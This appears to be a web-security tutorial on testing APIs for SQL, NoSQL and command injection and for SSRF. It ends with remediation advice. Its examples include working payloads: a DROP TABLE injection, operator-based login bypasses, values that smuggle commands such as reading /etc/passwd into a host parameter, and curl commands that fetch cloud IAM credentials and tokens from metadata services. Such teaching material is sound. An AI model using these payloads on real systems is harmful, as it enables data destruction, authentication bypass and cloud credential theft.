Injection Attacks
Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. In APIs, this often manifests as SQL Injection, NoSQL Injection, Command Injection, or Server-Side Request Forgery (SSRF).
SQL Injection (SQLi)
Test all input vectors including query parameters, JSON body, and headers.
Query Parameters
Inject SQL syntax into URL parameters.
GET /api/users?id=1'
GET /api/users?id=1"
GET /api/users?id=1 OR 1=1
GET /api/users?id=1; DROP TABLE users--GET /api/users?id=1'
GET /api/users?id=1"
GET /api/users?id=1 OR 1=1
GET /api/users?id=1; DROP TABLE users--JSON Body
Inject into JSON fields.
POST /api/login
Content-Type: application/json
{
"username": "admin' --",
"password": "password"
}POST /api/login
Content-Type: application/json
{
"username": "admin' --",
"password": "password"
}Headers
Inject into headers like User-Agent.
User-Agent: ' OR 1=1--User-Agent: ' OR 1=1--Automated Testing
Use SQLMap for automated detection and exploitation.
sqlmap -u "https://api.target.com/api/users?id=1" --batch --bannersqlmap -u "https://api.target.com/api/users?id=1" --batch --bannerNoSQL Injection
NoSQL databases (like MongoDB) are also vulnerable, often through operator injection.
Basic Bypass
Use operators like $ne (not equal) to bypass authentication.
GET /api/users?username[$ne]=admin&password[$ne]=adminGET /api/users?username[$ne]=admin&password[$ne]=adminJSON Body Injection
Inject operators into JSON objects.
POST /api/login
Content-Type: application/json
{
"username": {"$ne": null},
"password": {"$ne": null}
}POST /api/login
Content-Type: application/json
{
"username": {"$ne": null},
"password": {"$ne": null}
}Regex Injection
Use regex to match patterns.
POST /api/login
Content-Type: application/json
{
"username": {"$regex": "^admin"},
"password": {"$ne": null}
}POST /api/login
Content-Type: application/json
{
"username": {"$regex": "^admin"},
"password": {"$ne": null}
}Command Injection
If the API executes system commands with user input, it might be vulnerable.
Basic Injection
Use command separators like ;, &&, |.
GET /api/ping?host=127.0.0.1; id
GET /api/ping?host=127.0.0.1 && cat /etc/passwd
GET /api/ping?host=127.0.0.1 | whoami
GET /api/ping?host=$(hostname)
GET /api/ping?host=`id`GET /api/ping?host=127.0.0.1; id
GET /api/ping?host=127.0.0.1 && cat /etc/passwd
GET /api/ping?host=127.0.0.1 | whoami
GET /api/ping?host=$(hostname)
GET /api/ping?host=`id`Blind Injection
Use time-based payloads if output is not returned.
GET /api/ping?host=127.0.0.1; sleep 10GET /api/ping?host=127.0.0.1; sleep 10Server-Side Request Forgery (SSRF)
SSRF allows an attacker to induce the server to make requests to unintended locations.
Internal Scanning
Target internal IP addresses or localhost.
POST /api/webhook
Content-Type: application/json
{
"url": "http://localhost:80"
}POST /api/webhook
Content-Type: application/json
{
"url": "http://localhost:80"
}POST /api/scan
Content-Type: application/json
{
"target": "192.168.1.1"
}POST /api/scan
Content-Type: application/json
{
"target": "192.168.1.1"
}Cloud Metadata
Target cloud metadata services to steal credentials.
POST /api/webhook
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/"
}POST /api/webhook
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/"
}IMDSv2 Bypass Techniques
AWS IMDSv2 requires a PUT request with a TTL header to obtain a session token. If the application proxies requests, you may be able to bypass IMDSv2 restrictions.
# IMDSv1 (classic — still works if not disabled)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IMDSv2 — Step 1: Get session token (requires PUT + hop limit)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# IMDSv2 — Step 2: Use token to query metadata
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# If SSRF endpoint follows redirects, try:
# DNS rebinding: attacker domain resolves to 169.254.169.254
# IPv6 equivalent: http://[fd00:ec2::254]/latest/meta-data/
# Decimal IP: http://2852039166/latest/meta-data/
# Hex IP: http://0xa9fea9fe/latest/meta-data/# IMDSv1 (classic — still works if not disabled)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IMDSv2 — Step 1: Get session token (requires PUT + hop limit)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# IMDSv2 — Step 2: Use token to query metadata
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# If SSRF endpoint follows redirects, try:
# DNS rebinding: attacker domain resolves to 169.254.169.254
# IPv6 equivalent: http://[fd00:ec2::254]/latest/meta-data/
# Decimal IP: http://2852039166/latest/meta-data/
# Hex IP: http://0xa9fea9fe/latest/meta-data/Azure and GCP have their own metadata services:
# Azure Instance Metadata Service (IMDS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP Metadata Service
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/project/project-id# Azure Instance Metadata Service (IMDS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP Metadata Service
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/project/project-idSSRF Is the Gateway to Cloud Account Takeover
File Scheme
Try to read local files using the file:// scheme.
POST /api/render
Content-Type: application/json
{
"url": "file:///etc/passwd"
}POST /api/render
Content-Type: application/json
{
"url": "file:///etc/passwd"
}Remediation
Defense Strategies
- Use parameterized queries (Prepared Statements) for all database access.
- Validate and sanitize all user input against a strict allowlist.
- Avoid using `eval()`, `exec()`, or `system()` functions with user input.
- Implement strict URL validation for webhooks and external fetches (allowlist domains).
- Run API services with least privilege (non-root user).
API-Specific Injection Vectors
Content-Type headers (XML injection if the API accepts XML),
Accept-Language headers (template injection), sorting parameters (?sort=name;DROP TABLE users),
and array parameters (?ids[]=1&ids[]=2'--). API gateways sometimes parse these before the backend does.
API Injection Practice
Practice SQL, NoSQL, command injection, and SSRF on deliberately vulnerable API applications.